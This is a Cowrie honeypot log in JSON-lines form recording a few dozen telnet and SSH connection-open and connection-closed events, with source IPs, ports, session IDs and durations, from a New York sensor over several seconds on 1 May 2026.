{"eventid":"cowrie.session.closed","duration":34.119893312454224,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:23.824054Z","src_ip":"194.163.135.148","session":"8828a5db3df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"14650f357f01","protocol":"telnet","message":"New connection: 62.182.85.24:33432 (10.17.0.5:23) [session: 14650f357f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:24.063836Z"}
{"eventid":"cowrie.session.closed","duration":37.183507442474365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:24.434686Z","src_ip":"194.163.135.148","session":"83b1914f2633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57510,"dst_ip":"10.17.0.5","dst_port":23,"session":"14d913b949e4","protocol":"telnet","message":"New connection: 62.182.85.24:57510 (10.17.0.5:23) [session: 14d913b949e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:24.542704Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:24.597738Z","src_ip":"181.65.191.218","session":"3dde441d327a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.309491634368896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:25.182071Z","src_ip":"62.182.85.24","session":"2734c4ae63b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54314,"dst_ip":"159.203.135.109","dst_port":23,"session":"291584f64980","protocol":"telnet","message":"New connection: 194.163.135.148:54314 (159.203.135.109:23) [session: 291584f64980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:25.532507Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46600,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a753b90b3ef","protocol":"telnet","message":"New connection: 62.182.85.24:46600 (10.17.0.5:23) [session: 8a753b90b3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:25.706242Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54318,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbf68808ace5","protocol":"telnet","message":"New connection: 62.182.85.24:54318 (10.17.0.5:23) [session: bbf68808ace5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:25.718208Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57636,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6cd146476c","protocol":"telnet","message":"New connection: 62.182.85.24:57636 (10.17.0.5:23) [session: 9c6cd146476c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:26.127580Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4735eb16bd0a","protocol":"telnet","message":"New connection: 194.163.135.148:54322 (159.203.135.109:23) [session: 4735eb16bd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:26.373454Z"}
{"eventid":"cowrie.session.closed","duration":31.171182870864868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:26.453190Z","src_ip":"62.182.85.24","session":"f377c58b7537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60092,"dst_ip":"10.17.0.5","dst_port":23,"session":"e90f4409988d","protocol":"telnet","message":"New connection: 62.182.85.24:60092 (10.17.0.5:23) [session: e90f4409988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:26.464226Z"}
{"eventid":"cowrie.session.closed","duration":31.378895044326782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:26.812361Z","src_ip":"103.82.231.165","session":"ae52397eed2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"201276ca0aec","protocol":"telnet","message":"New connection: 62.182.85.24:41554 (10.17.0.5:23) [session: 201276ca0aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:27.106409Z"}
{"eventid":"cowrie.session.closed","duration":31.531219482421875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:27.176423Z","src_ip":"62.182.85.24","session":"f12053cdf834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33530306816101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:27.223996Z","src_ip":"62.182.85.24","session":"6feaa9a8c24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49410319328308,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:27.256675Z","src_ip":"194.163.135.148","session":"50868bdec885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017383098602295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:28.512912Z","src_ip":"62.182.85.24","session":"66c863bcf1a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.227521181106567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:28.822922Z","src_ip":"62.182.85.24","session":"2968282595e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54344,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c4b31cabcb","protocol":"telnet","message":"New connection: 194.163.135.148:54344 (159.203.135.109:23) [session: 07c4b31cabcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:29.351386Z"}
{"eventid":"cowrie.session.closed","duration":34.15509843826294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:31.091462Z","src_ip":"194.163.135.148","session":"ffa3fbd5a499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ad2fb58960","protocol":"telnet","message":"New connection: 62.182.85.24:41820 (10.17.0.5:23) [session: 34ad2fb58960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:31.358813Z"}
{"eventid":"cowrie.session.closed","duration":33.57479214668274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:31.923260Z","src_ip":"194.163.135.148","session":"4c9db4e2c3bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ee4286183e","protocol":"telnet","message":"New connection: 62.182.85.24:50788 (10.17.0.5:23) [session: 46ee4286183e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:32.519621Z"}
{"eventid":"cowrie.session.closed","duration":31.433598279953003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:32.525933Z","src_ip":"62.182.85.24","session":"4a2f3170dc80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":58998,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7f9da40878","protocol":"telnet","message":"New connection: 62.182.85.24:58998 (10.17.0.5:23) [session: ce7f9da40878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:33.526149Z"}
{"eventid":"cowrie.session.closed","duration":33.358325719833374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:33.993521Z","src_ip":"194.163.135.148","session":"69d22a4d574f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378650426864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:34.303497Z","src_ip":"62.182.85.24","session":"4bc76d033e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058900117874146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:34.382279Z","src_ip":"62.182.85.24","session":"f5aa31d82e4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3356312d9ac4","protocol":"telnet","message":"New connection: 62.182.85.24:46208 (10.17.0.5:23) [session: 3356312d9ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:35.541643Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54bfd871031","protocol":"telnet","message":"New connection: 62.182.85.24:49528 (10.17.0.5:23) [session: f54bfd871031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:35.948698Z"}
{"eventid":"cowrie.session.closed","duration":30.23498511314392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:36.151557Z","src_ip":"62.182.85.24","session":"998dd6ae4830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54396,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ad04055140","protocol":"telnet","message":"New connection: 194.163.135.148:54396 (159.203.135.109:23) [session: 60ad04055140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:36.721217Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33640,"dst_ip":"10.17.0.5","dst_port":23,"session":"f994838169cf","protocol":"telnet","message":"New connection: 62.182.85.24:33640 (10.17.0.5:23) [session: f994838169cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:37.483938Z"}
{"eventid":"cowrie.session.closed","duration":36.28062129020691,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:37.708736Z","src_ip":"194.163.135.148","session":"b8b9649bfcf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54408,"dst_ip":"159.203.135.109","dst_port":23,"session":"32941d20b0c3","protocol":"telnet","message":"New connection: 194.163.135.148:54408 (159.203.135.109:23) [session: 32941d20b0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:37.752920Z"}
{"eventid":"cowrie.session.closed","duration":31.515236139297485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:37.934727Z","src_ip":"62.182.85.24","session":"8aac086c6e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.708574295043945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:38.027156Z","src_ip":"62.182.85.24","session":"7bbdb41cde8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25240445137024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:38.375293Z","src_ip":"62.182.85.24","session":"2d3f6c68bdc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.926016569137573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:38.935158Z","src_ip":"62.182.85.24","session":"f1fe056b1307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33162784576416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:38.955163Z","src_ip":"62.182.85.24","session":"41b9302925fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48400,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe154b13a45","protocol":"telnet","message":"New connection: 62.182.85.24:48400 (10.17.0.5:23) [session: 3fe154b13a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:39.326188Z"}
{"eventid":"cowrie.session.closed","duration":35.23612332344055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:40.895783Z","src_ip":"62.182.85.24","session":"4b39eb6994bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":47568,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e332d667afc","protocol":"telnet","message":"New connection: 62.182.85.24:47568 (10.17.0.5:23) [session: 6e332d667afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:41.211538Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54436,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c5dac5b720","protocol":"telnet","message":"New connection: 194.163.135.148:54436 (159.203.135.109:23) [session: 21c5dac5b720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:41.226782Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":40414,"dst_ip":"10.17.0.5","dst_port":23,"session":"04176dcd84fc","protocol":"telnet","message":"New connection: 62.182.85.24:40414 (10.17.0.5:23) [session: 04176dcd84fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:41.793119Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2729745d31","protocol":"telnet","message":"New connection: 194.163.135.148:54442 (159.203.135.109:23) [session: 3a2729745d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:41.937495Z"}
{"eventid":"cowrie.session.closed","duration":120.00181818008423,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:42.234646Z","src_ip":"62.182.85.24","session":"241c3a2dd803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44872,"dst_ip":"10.17.0.5","dst_port":23,"session":"405fc1d05594","protocol":"telnet","message":"New connection: 62.182.85.24:44872 (10.17.0.5:23) [session: 405fc1d05594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:42.402866Z"}
{"eventid":"cowrie.session.closed","duration":34.28123760223389,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:42.479503Z","src_ip":"62.182.85.24","session":"fa0f03a72876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656416416168213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:43.205384Z","src_ip":"62.182.85.24","session":"49b168a70262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e913610e1ebf","protocol":"telnet","message":"New connection: 62.182.85.24:53286 (10.17.0.5:23) [session: e913610e1ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:43.419397Z"}
{"eventid":"cowrie.session.closed","duration":30.627966165542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:43.455301Z","src_ip":"62.182.85.24","session":"3fb1c2c70538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62074065208435,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:44.236284Z","src_ip":"62.182.85.24","session":"07ffda6819c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.917035579681396,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:45.812293Z","src_ip":"62.182.85.24","session":"5cb0a5427855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":40064,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ce64970cd1","protocol":"telnet","message":"New connection: 62.182.85.24:40064 (10.17.0.5:23) [session: 46ce64970cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:46.230749Z"}
{"eventid":"cowrie.session.closed","duration":30.717470407485962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:46.504504Z","src_ip":"62.182.85.24","session":"a0a2ee6c5ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59228,"dst_ip":"10.17.0.5","dst_port":23,"session":"812268ccb631","protocol":"telnet","message":"New connection: 62.182.85.24:59228 (10.17.0.5:23) [session: 812268ccb631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:47.088511Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56446,"dst_ip":"10.17.0.5","dst_port":23,"session":"884f255ecb81","protocol":"telnet","message":"New connection: 62.182.85.24:56446 (10.17.0.5:23) [session: 884f255ecb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:47.263571Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":38654,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ed0f8c9c4f","protocol":"telnet","message":"New connection: 62.182.85.24:38654 (10.17.0.5:23) [session: 65ed0f8c9c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:48.501612Z"}
{"eventid":"cowrie.session.closed","duration":33.97986888885498,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.107739Z","src_ip":"194.163.135.148","session":"8ecd208c20cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34629201889038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.132605Z","src_ip":"62.182.85.24","session":"fd5ad6112be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661895275115967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.145107Z","src_ip":"62.182.85.24","session":"7b7fbd50bc64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34165978431702,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.295207Z","src_ip":"194.163.135.148","session":"bd3cdc893acf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.188273668289185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.416767Z","src_ip":"194.163.135.148","session":"e48a538a16a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800179958343506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:49.500889Z","src_ip":"62.182.85.24","session":"bc44dc118c66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.562753200531006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:50.006131Z","src_ip":"194.163.135.148","session":"6232d81833bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"2198f2984db3","protocol":"telnet","message":"New connection: 62.182.85.24:45204 (10.17.0.5:23) [session: 2198f2984db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:50.303638Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":41410,"dst_ip":"10.17.0.5","dst_port":23,"session":"680d5e52dfee","protocol":"telnet","message":"New connection: 103.82.231.165:41410 (10.17.0.5:23) [session: 680d5e52dfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:50.349476Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48520,"dst_ip":"10.17.0.5","dst_port":23,"session":"344276048513","protocol":"telnet","message":"New connection: 62.182.85.24:48520 (10.17.0.5:23) [session: 344276048513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:50.667022Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54484,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c20f4a84b39","protocol":"telnet","message":"New connection: 194.163.135.148:54484 (159.203.135.109:23) [session: 0c20f4a84b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:50.683670Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36398,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e5dc7a2453","protocol":"telnet","message":"New connection: 62.182.85.24:36398 (10.17.0.5:23) [session: a4e5dc7a2453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:51.655876Z"}
{"eventid":"cowrie.session.closed","duration":31.904101371765137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:53.403470Z","src_ip":"62.182.85.24","session":"b99d55a0f70c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53098,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f13390edca","protocol":"telnet","message":"New connection: 62.182.85.24:53098 (10.17.0.5:23) [session: d5f13390edca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:53.702028Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54502,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71e649e5c84","protocol":"telnet","message":"New connection: 194.163.135.148:54502 (159.203.135.109:23) [session: e71e649e5c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:55.065414Z"}
{"eventid":"cowrie.session.closed","duration":30.59714674949646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:55.139758Z","src_ip":"62.182.85.24","session":"14d913b949e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.455953359603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:55.519673Z","src_ip":"62.182.85.24","session":"14650f357f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed479a3ac0fd","protocol":"telnet","message":"New connection: 194.163.135.148:54516 (159.203.135.109:23) [session: ed479a3ac0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:55.894726Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":40316,"dst_ip":"10.17.0.5","dst_port":23,"session":"9290441afb5d","protocol":"telnet","message":"New connection: 62.182.85.24:40316 (10.17.0.5:23) [session: 9290441afb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:56.611940Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53060,"dst_ip":"10.17.0.5","dst_port":23,"session":"130dcf7dd384","protocol":"telnet","message":"New connection: 62.182.85.24:53060 (10.17.0.5:23) [session: 130dcf7dd384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:57.184540Z"}
{"eventid":"cowrie.session.closed","duration":31.4836905002594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:57.189807Z","src_ip":"62.182.85.24","session":"8a753b90b3ef","protocol":"telnet"}
